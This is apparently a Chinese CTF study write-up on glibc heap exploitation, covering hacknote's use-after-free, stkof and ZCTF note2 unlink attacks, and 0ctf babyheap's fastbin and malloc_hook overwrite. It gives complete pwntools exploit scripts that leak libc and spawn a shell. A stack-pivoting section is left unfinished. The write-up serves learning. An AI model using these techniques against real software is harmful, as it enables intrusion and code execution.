uaf
HITCON-training - lab 10 hacknote
存在uaf漏洞
note的结构是,有两个属性put和content
puts函数存放的是print_note_content函数指针,输出的时候会调用这个函数,content属性是存放内容的堆指针。
存在后门函数magic
所以,只要修改puts属性为magic属性,那么在show的时候,就会调用magic函数,get flag。
申请一个堆块,会建立两个堆,一个存放输出信息,一个存放内容
这里,0x11的是notelist结构题,存放的是puts和content两个指针。
如果我们把这两个堆块都释放了,那么他们都进入了fastbin
如果此时我们申请一个和notelist长度一样的堆块,那么它会把原先的两个0x11给我们,一个作为notelist一个作为content,但是content我们是可控的,放入magic,再输出,即调用magic函数。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| from pwn import * p=process("./hacknote")
magic = 0x08048986
def add(size,content): p.recvuntil("choice :") p.sendline("1") p.recvuntil("size :") p.sendline(str(size)) p.recvuntil("Content :") p.sendline(content)
def free(idx): p.recvuntil("choice :") p.sendline("2") p.recvuntil("dex :") p.sendline(str(idx))
def show(idx): p.recvuntil("choice :") p.sendline("3") p.recvuntil("dex :") p.sendline(str(idx))
add(32,"aaaa") add(32,"bbbb")
free(0) free(1)
add(0x8,p32(magic)*2) show(0) gdb.attach(p) p.interactive()
|
以前写的:https://blog.csdn.net/qq_43935969/article/details/104730157
unlink
2014_hitcon_stkof
libc
got表和plt表
GOT(Global Offset Table)全局偏移表。这是「链接器」为「外部符号」填充的实际偏移表。
PLT(Procedure Linkage Table)程序链接表。它有两个功能,要么在 .got.plt
节中拿到地址,并跳转。要么当 .got.plt
没有所需地址的时,触发「链接器」去找到所需地址
这个是 GOT 专门为 PLT 专门准备的节。说白了,.got.plt 中的值是 GOT 的一部分。它包含上述 PLT 表所需地址(已经找到的和需要去触发的)
我们说的覆写plt表指的是.got.plt,通过调试得出
第一个add
没有setbuf,把输入输出缓冲区申请好。
globals(head)
所有chunk存储的位置
chunk开始的地方
v2是分配的数据指针,而v2是存储在bss段上的,没有开启pie,所以是不变的。
堆溢出
edit函数中,因为修改的长度是自己输入的,那我想改多少改多少,存在堆溢出
unlink的具体操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| alloc(0x30)
alloc(0x80)
payload = p64(0) payload += p64(0x20) payload += p64(head + 16 - 0x18) payload += p64(head + 16 - 0x10) payload += p64(0x20) payload = payload.ljust(0x30, 'a')
payload += p64(0x30)
payload += p64(0x90) edit(2, len(payload), payload)
free(3)
|
分配两个chunk,对第一个chunk进行修改,其中bk和fd放成target - 12
和target - 8
20是因为-12和-8是伪造一个堆块,大小为0x10,被释放了,所以,检查机制会看下一个堆块的prev_size
30和90是下一个chunk的头,也就是上chunk3的上一个chunk在chunk2,90表示被释放了
unlink的结果
所以,接下来往chunk2写入数据就会从0x602138开始。。。
注意的是:0x602140仍旧是global[0]的起始地址,那么,覆盖40-58的地址,用global[0\1\2]就可以调用到。
执行结果如下:
got表
所以,现在edit(0),就会往第一个地址里面写入数据。
如果第一个是某个got表地址,那么写入的话,got表里面的内容就可能被替换掉了。
free(1)
因为这里,第一个指针地址是puts的got表地址(参数),free的got表也被替换为puts的plt表(原来的执行plt实际上就是执行.got.plt,所以一样),所以执行free函数的话,执行的是put.plt,参数是puts的got表地址
edit(2, len(payload), payload)
这里修改的2就直接是88,atoi的got表里面的数据,然后继续执行的时候,会让输入,把binsh给他们就行。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| from pwn import * p = process("./stkof") elf = ELF("./stkof") libc = ELF("./libc.so.6")
def add(size): p.sendline("1") p.sendline(str(size)) def edit(idx,size,content): p.sendline("2") p.sendline(str(idx)) p.sendline(str(size)) p.send(content)
def free(idx): p.sendline("3") p.sendline(str(idx)) head = 0x00602140
add(0x30) add(0x30) add(0x80)
payload = p64(0) + p64(0x20) payload += p64(head + 16 - 0x18) payload += p64(head + 16 - 0x10) payload += p64(0x20) payload = payload.ljust(0x30,'a') payload += p64(0x30) + p64(0x90) edit(2,len(payload),payload) free(3)
free_got = elf.got['free'] puts_got = elf.got['puts'] atoi_got = elf.got['atoi'] puts_plt = elf.plt['puts']
payload = p64(0x0)+p64(free_got)+p64(puts_got)+p64(atoi_got) edit(2,len(payload),payload)
payload = p64(puts_plt) edit(0,len(payload),payload) free(1) puts_addr = u64(p.recvuntil("\x7f")[-6:] + '\x00\x00') print("[*]puts_addr:",hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts'] system = libc_base + libc.symbols['system'] binsh = libc_base + next(libc.search('/bin/sh'))
payload = p64(system) edit(2,len(payload),payload) p.send(p64(binsh))
p.interactive()
|
2016 ZCTF note2
对于程序自己重写read等功能,要看一下,因为很可能就是做了一定的变动,导致可能存在某个漏洞。
本题中主要是ReadStr这个函数,由于是i是无符号数,所以在比较len - 1 > i
时,会把它转换为无符号数,如果len = 0,那么长度就变成了0xfffffffff,如果ReadStr(note, size, 10);
就可以往note里面写入很多的数据,造成堆溢出。
漏洞分析
本题的主要漏洞就在于这个点,利用堆溢出,可以实现unlink功能。
堆块的指针存在于ptr,地址为0x00602120
首先申请一个块,由于有大小限制,就申请最大的0x80,在里面伪造块
1 2 3 4 5 6
| ptr = 0x00602120 payload = "a"*0x8 + p64(0x60) payload += p64(ptr - 0x18) + p64(ptr - 0x10) payload += "a" * 64 payload += p64(0x60) add(0x80,payload)
|
因为只有大小为0的才能栈溢出,所以我们申请一个大小为0的块作为中介。
但是 glibc 的要求 chunk 块至少可以存储 4 个必要的字段 (prev_size,size,fd,bk),所以会分配 0x20 的空间。
最后再申请一个正常的堆块,0x80。
这时,堆布局如下:
因为大小为0的堆块只有在add的时候,读入才堆溢出。所以我们先把它释放,再重新申请,因为大小一样,会把释放掉的给我们重新分配回来。
这时候,就可以把下一个堆块的头给覆盖了。
1 2 3 4
| free(1) payload = "a"*0x8*2 + p64(0xa0) + p64(0x90) add(0,payload) free(2)
|
因为是释放chunk3,却要让它unlink chunk1,所以prev_size要是和chunk1的距离,这样,chunk3会根据自己的地址 - prev_size找到前一个chunk是chunk1。
然后free2,就成功unlink了。
然后,就可以正常了。
覆盖指针的地址为atoi_got表地址,show泄漏他的地址,找到libc基址,找到system的地址,然后覆盖原来的atoi_got的地址,然后执行的atoi函数的时候,发送‘/bin/sh’即可,这里可以是它的地址也可以是字符串。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| from pwn import * p = process("./note2") elf = ELF("./note2") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
p.recvuntil("name:") p.sendline("winter") p.recvuntil("address:") p.sendline("qh")
def add(size,content): p.recvuntil("option--->>") p.sendline("1") p.recvuntil("(less than 128)") p.sendline(str(size)) p.recvuntil("content:") p.sendline(content)
def show(idx): p.recvuntil("option--->>") p.sendline("2") p.recvuntil("id of the note:") p.sendline(str(idx))
def edit(idx,choice,content): p.recvuntil("option--->>") p.sendline("3") p.recvuntil(" the note:") p.sendline(str(idx)) p.recvuntil("[1.overwrite/2.append]") p.sendline(str(choice)) p.sendline(content)
def free(idx): p.recvuntil("option--->>") p.sendline("4") p.recvuntil("the note:") p.sendline(str(idx))
ptr = 0x00602120 payload = "a"*0x8 + p64(0x60) payload += p64(ptr - 0x18) + p64(ptr - 0x10) payload += "a" * 64 payload += p64(0x60)
add(0x80,payload) add(0,"bbbbbbbb") add(0x80,"aaaaaaaa") free(1) payload = "a"*0x8*2 + p64(0xa0) + p64(0x90) add(0,payload) free(2)
atoi_got = elf.got['atoi'] payload = "a"*0x18 + p64(atoi_got) edit(0,1,payload)
show(0) p.recvuntil("Content is ") atoi_got = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')
libc_base = atoi_got - libc.symbols['atoi'] system = libc_base + libc.symbols['system'] binsh = libc_base + libc.search('/bin/sh').next() payload = p64(system)
edit(0,1,payload) p.recvuntil("option--->>") p.sendline(p64(binsh)) gdb.attach(p)
p.interactive()
|
unlink总结
- 要伪造堆块
- 可以溢出覆盖下一个堆块的头
- unlink是函数指针
unlink先到这里,,等有空再做剩下几题。。。
花式栈溢出技巧
stack pivoting(栈迁移)
第一题是直接用jmp esp进行栈迁移的
题目很简单,一个栈溢出,但是溢出字节不是很多,只有50 - 0x20-0x4(ebp) = 14个字节,难以利用。
因为这里是存在栈上而不是bss段上,所以不能用ret2shellcode(不知道输入的具体地址)
所以
fastbin
2017 0ctf babyheap
64位的程序,保护全开
填充内容的时候,长度是重新输入的,可以填充任意长度,造成栈溢出
没有uaf
思路
主要的漏洞:任意长度堆溢出
具体过程
要利用unsortedbin泄漏,所以,要让两个块同时指向unsortedbin地址。
第一部分:
所以,一开始,首先将大小为0x80的块同时被认为是chunk2。方法是释放chunk2和chunk1,修改1的fd(原本指向chunk2),现在修改为chunk4,那么申请回来的时候chunk2实际是chunk4的内容。这里为了绕过检查,要让chunk4的大小为0x10。
接着,让chunk4的地址变回0x80,为了防止和top chunk合并,多申请一个chunk5,接着释放chunk4进入unsortedbin(chunk被释放后,如果大小不再fastbin内,会先放到unsortedbin中),chunk4里面的指针指向unsortedbin的链表头,用它可以计算出main_arena和libc的地址
第二部分:
因为malloc_hook附近有0x7f可用,找到一个合适的地方,申请堆块到这里,然后覆盖malloc_hook为one_gadget地址,再malloc任意值即可得到shell。
1.前期申请
5个chunk
1 2 3 4 5
| add(0x10) add(0x10) add(0x10) add(0x10) add(0x80)
|
1 2 3 4 5 6 7 8 9 10 11
| pwndbg> x/40gx 0x55b474ad1000 0x55b474ad1000: 0x0000000000000000 0x0000000000000021 0x55b474ad1010: 0x0000000000000000 0x0000000000000000 0x55b474ad1020: 0x0000000000000000 0x0000000000000021 0x55b474ad1030: 0x0000000000000000 0x0000000000000000 0x55b474ad1040: 0x0000000000000000 0x0000000000000021 0x55b474ad1050: 0x0000000000000000 0x0000000000000000 0x55b474ad1060: 0x0000000000000000 0x0000000000000021 0x55b474ad1070: 0x0000000000000000 0x0000000000000000 0x55b474ad1080: 0x0000000000000000 0x0000000000000091 0x55b474ad1090: 0x0000000000000000 0x0000000000000000
|
2.令另一个chunk分配到chunk4
链表:
1 2 3 4 5 6 7 8 9 10 11 12
| fastbins 0x20: 0x55a609172020(1) —▸ 0x55a609172040(2) ◂— 0x0
Free chunk (fastbins) | PREV_INUSE(1) Addr: 0x55a609172020 Size: 0x21 fd: 0x55a609172040
Free chunk (fastbins) | PREV_INUSE(2) Addr: 0x55a609172040 Size: 0x21 fd: 0x00
|
本来chunk1是指向chunk2的,修改最低8位,(因为开了pie,但是最低3字节不变),这样chunk1就指向chunk4了。
1 2
| payload = p64(0) * 3 + p64(0x21) + p8(0x80) fill(0,len(payload),payload)
|
1 2 3
| pwndbg> bin fastbins 0x20: 0x556f686e7020(1) —▸ 0x556f686e7080(4) ◂— 0x0
|
接着修改chunk4的大小,方便绕过检查
1 2
| payload = p64(0) * 3 + p64(0x21) + p64(0x21) fill(3,len(payload),payload)
|
这样接着申请两个0x10的堆块时候,一个是原来的chunk1不变,chunk2变成了chunk4
以后,使用chunk2,实际的操作在chunk4里面
3.将chunk4放入到unsortbin中
只要修改大小为0x80,然后释放掉即可。
这里为了防止与top chunk合并,所以在释放申请前,再申请一个chunk5
1 2 3 4 5 6
| payload = p64(0) * 3 + p64(0x91) fill(3,len(payload),payload)
add(0x80)
free(4)
|
现在,chunk2和chunk4指向相同的地址,而chunk4是unsortedbin中唯一的chunk,fd指针指向的是unsortedbin的链表,用chunk2就可以打印出它
1 2 3
| dump(2) p.recvuntil("Content: \n") unsortedbin_addr = u64(p.recv(8))
|
由此计算出main_arena和libc基地址(0x58和0x3c4b20都是固定的libc-2.23.so)
main_arena_offset可以使用工具:https://github.com/Coldwave96/LibcOffset
1 2 3
| main_arena = unsortedbin_addr - offset_unsortedbin_main_arena main_arena_offset = 0x3c4b20 libc_base = main_arena - main_arena_offset
|
4. 伪造堆块
main_arena上面就是malloc_hook,并且那些地址的开头都是0x7f,所以需要chunk块大小为0x60。
我们申请0x60的块即可,因为小于原来的0x80,会自动分割为两个:0x60和0x10(头,,),
有三个0x7f,但是第一个太近了,无法完全覆盖malloc_hook,第二个,前面没有7个0x00,不符合要求,所以是第三个,地址是main_arena-0x33
1 2 3 4 5 6
| add(0x60) free(4)
fake_chunk_addr = main_arena - 0x33 fake_chunk = p64(fake_chunk_addr) fill(2,len(fake_chunk),fake_chunk)
|
5.申请伪造的堆块
接着申请两个chunk
第一次申请的是chunk4,第二次申请的是chunk4的fd指针指向的地址,也就是我们伪造的堆块
6.在malloc的地址填入one_gadget
one_gadget libc文件(本地在/lib/x86_64-linux-gnu/libc-2.23.so
),有四个一个个试呗,第二个就行。
1 2 3 4
| one_gadget = libc_base + 0x4526a payload = 'a'*0x13 + p64(one_gadget) fill(6,len(payload),payload) add(0x10)
|
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
| from pwn import * context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] p = process("./babyheap_0ctf_2017")
context.log_level = 'debug' context.binary = "./babyheap_0ctf_2017"
def offset_bin_main_arena(idx): word_bytes = context.word_size / 8 offset = 4 offset += 4 offset += word_bytes * 10 offset += word_bytes * 2 offset += idx * 2 * word_bytes offset -= word_bytes * 2 return offset
offset_unsortedbin_main_arena = offset_bin_main_arena(0)
def add(size): p.recvuntil("Command:") p.sendline("1") p.recvuntil("Size:") p.sendline(str(size))
def fill(idx,size,content): p.recvuntil("Command:") p.sendline("2") p.recvuntil("Index: ") p.sendline(str(idx)) p.recvuntil("Size: ") p.sendline(str(size)) p.recvuntil("Content: ") p.sendline(str(content))
def free(idx): p.recvuntil("Command:") p.sendline("3") p.recvuntil("Index: ") p.sendline(str(idx))
def dump(idx): p.recvuntil("Command:") p.sendline("4") p.recvuntil("Index: ") p.sendline(str(idx))
add(0x10) add(0x10) add(0x10) add(0x10) add(0x80)
free(2) free(1)
payload = p64(0) * 3 + p64(0x21) + p8(0x80) fill(0,len(payload),payload)
payload = p64(0) * 3 + p64(0x21) + p64(0x21) fill(3,len(payload),payload)
add(0x10) add(0x10)
payload = p64(0) * 3 + p64(0x91) fill(3,len(payload),payload)
add(0x80)
free(4) dump(2) p.recvuntil("Content: \n") unsortedbin_addr = u64(p.recv(8)) main_arena = unsortedbin_addr - offset_unsortedbin_main_arena main_arena_offset = 0x3c4b20 libc_base = main_arena - main_arena_offset log.success("[*]unsortedbin_addr:"+hex(unsortedbin_addr)) log.success("[*]main_arena:"+hex(main_arena)) log.success("[*]libc_base:"+hex(libc_base))
add(0x60) free(4)
fake_chunk_addr = main_arena - 0x33 fake_chunk = p64(fake_chunk_addr) fill(2,len(fake_chunk),fake_chunk)
gdb.attach(p)
add(0x60) add(0x60)
one_gadget = libc_base + 0x4526a payload = 'a'*0x13 + p64(one_gadget) fill(6,len(payload),payload) add(0x10) p.interactive()
|